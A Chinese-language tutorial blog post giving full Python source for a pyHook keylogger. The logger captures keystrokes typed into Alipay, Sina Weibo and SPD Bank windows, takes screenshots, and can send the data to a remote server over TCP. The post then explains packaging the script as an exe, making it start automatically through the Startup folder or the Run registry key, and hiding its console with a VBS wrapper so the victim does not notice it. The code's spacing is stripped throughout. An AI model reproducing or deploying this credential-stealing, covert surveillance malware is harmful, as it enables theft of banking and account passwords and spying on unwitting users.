Python利用pyHook实现监听用户鼠标与键盘事件
本文以一段简单的监听鼠标、键盘事件的程序，实现获取用户的输入（比如登录某些网站的账号、密码）的功能。经测试，对于一台“裸奔”的电脑，完全能获取到用户输入的任何信息；但是如果安装了杀毒软件，就够呛了。具体实现方法如下：
一、代码部分：获取用户输入信息，并与截图一起保存到XX目录下
#-*-coding:utf-8-*-#
importpythoncom
importpyHook
importtime
importsocket
fromPILimportImageGrab
#
#如果是远程监听某个目标电脑，可以自己架设一个服务器，然后将获取到的信息发回给服务器
#
defsend_msg_to_server(msg):
host=""
port=1234
buf_size=1024
addr=(host,port)
iflen(msg)>0:
tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
tcp_client_sock.connect(addr)
info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+'from'+socket.gethostname()+':'
tcp_client_sock.sendall(info+msg)
tcp_client_sock.close()
#
#也可以将获取到的信息保存到本地文件下
#
defwrite_msg_to_txt(msg):
f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a')
f.write(msg+'\r\n')
f.close()
defonMouseEvent(event):
#监听鼠标事件
globalMSG
iflen(MSG)!=0:
#send_msg_to_server(MSG)
write_msg_to_txt(MSG)
MSG=''
pic_name=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
#将用户屏幕截图，保存到本地某个目录下（也可以搞成远程发送到自己的服务器）
pic=ImageGrab.grab()
pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png'%pic_name)
returnTrue
defonKeyboardEvent(event):
#监听键盘事件
globalMSG
title=event.WindowName.decode('GBK')
#通过网站title，判断当前网站是否是“监听目标”
iftitle.find(u"支付宝")!=-1ortitle.find(u'新浪微博')!=-1ortitle.find(u'浦发银行')!=-1:
#Ascii:8-Backspace,9-Tab,13-Enter
if(127>=event.Ascii>31)or(event.Ascii==8):
MSG+=chr(event.Ascii)
if(event.Ascii==9)or(event.Ascii==13):
#send_msg_to_remote(MSG)
write_msg_to_txt(MSG)
MSG=''
#屏幕抓图实现
pic_name=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
pic=ImageGrab.grab()
#保存成为以日期命名的图片
pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png'%pic_name)
returnTrue
if__name__=="__main__":
MSG=''
#创建hook句柄
hm=pyHook.HookManager()
#监控鼠标
hm.SubscribeMouseLeftDown(onMouseEvent)
hm.HookMouse()
#监控键盘
hm.KeyDown=onKeyboardEvent
hm.HookKeyboard()
#循环获取消息
pythoncom.PumpMessages()
二、用py2exe将脚本打包：
新建一个py文件setup.py，内容如下：
fromdistutils.coreimportsetup importpy2exe setup(console=["monitor.py"]) #setup(windows=["monitor.py"])
命令行执行以下命令：
pythonsetup.pypy2exe
三、将该程序设置为开机自动启动：
步骤①：
将需要开机启动的文件（创建一个快捷方式，然后）放到“开始/所有程序/启动”目录下
步骤②：
修改注册表：命令行—regedit，然后到以下路径下：
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
新建一个“字符串值”，然后编辑：设置exe文件所在路径
D:\workspace\mytest\pyhook\dist\monitor.exe
（以上两种方式启动monitor.exe的话，会弹出一个命令框，显示监听日志信息，这样的话，被监听的人一下就能发现了，可以试试下面这个方式）
步骤③：
新建一个.vbs文件，内容如下：
setwscriptObj=CreateObject("Wscript.Shell")
wscriptObj.run“D:\workspace\mytest\pyhook\dist\monitor.exe",0
双击运行该vbs文件，则monitor.exe就在后台启动了（不会弹出一个大黑框）。
然后参考法①、②把该vbs设置成开机启动即可。
补充：
1、该程序涉及到一些模块都需要自己安装一下；
2、文章中凡是“D:\workspace....”这样的路径都需要改成自己的真实路径；
3、本代码仅为测试示例，读者不要将其用于非法用途。
感兴趣的读者可以对本文实例加以改进，使之功能更加完善。